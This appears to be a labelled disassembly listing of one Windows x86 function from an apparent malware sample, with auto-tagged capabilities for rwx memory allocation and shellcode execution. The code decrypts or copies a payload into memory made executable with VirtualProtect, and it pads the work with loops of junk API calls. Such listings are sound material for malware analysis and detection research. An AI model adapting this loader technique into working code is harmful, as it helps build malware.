Function at 0x403a88
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x420967
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x24d4
call fcn.0040bef0
push ebx
push esi
xor esi, esi
cmp dword [0x887d9c], 0x5b1
push edi
jne 0x403b3c
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402f48
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
lea eax, [esp + 0x24]
call fcn.00403dfa
push esi
mov dword [esp + 0x24f0], esi
call fcn.0040498f
pop ecx
call fcn.0040492d
lea ecx, [esp + 0x18]
call fcn.004036ac
lea ecx, [esp + 0x18]
call fcn.004036c5
push esi
push esi
call fcn.00404cac
push esi
call fcn.00404c7d
add esp, 0xc
push esi
call fcn.00404c66
pop ecx
push esi
call fcn.00404e25
pop ecx
push esi
call fcn.00404c66
pop ecx
call fcn.00404d3f
add dword [0x887d9c], 0x1134b
push dword [0x887d9c]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x14]
push ecx
push 0x40
push dword [0x887d9c]
mov dword [0x860f3c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x403b94
inc edi
cmp edi, 0x4f6a4
jl 0x403b74
xor edi, edi
cmp dword [0x887d9c], esi
jbe 0x403bf3
cmp dword [0x887d9c], 0xa8
mov eax, dword [0x888800]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x860f3c]
mov byte [ecx + edi], al
jne 0x403bea
push 0x403028
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push 0x4030b8
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
inc edi
cmp edi, dword [0x887d9c]
jb 0x403b9e
xor edi, edi
mov eax, dword [0x887d9c]
add eax, edi
cmp eax, 0xe
jne 0x403c60
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x403114
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
lea eax, [esp + 0x8e4]
push eax
push esi
push 0x403130
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x4031a8
push 0x40308c
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [esp + 0x10e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
inc edi
cmp edi, 0x39621
jl 0x403bf5
call fcn.00403970
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x403c7d
call fcn.00403a6e
inc edi
cmp edi, 0x6753f
jl 0x403c70
push 0x7b
pop edi
cmp dword [0x887d9c], 0x86
jne 0x403cee
push esi
push esi
push esi
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push 0x403280
push 0x4032b8
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push 0x403318
push 0x403334
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push esi
lea eax, [esp + 0x18e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
lea eax, [esp + 0x1ce4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
dec edi
jne 0x403c89
push 0x403348
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [esp + 0x24e4]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret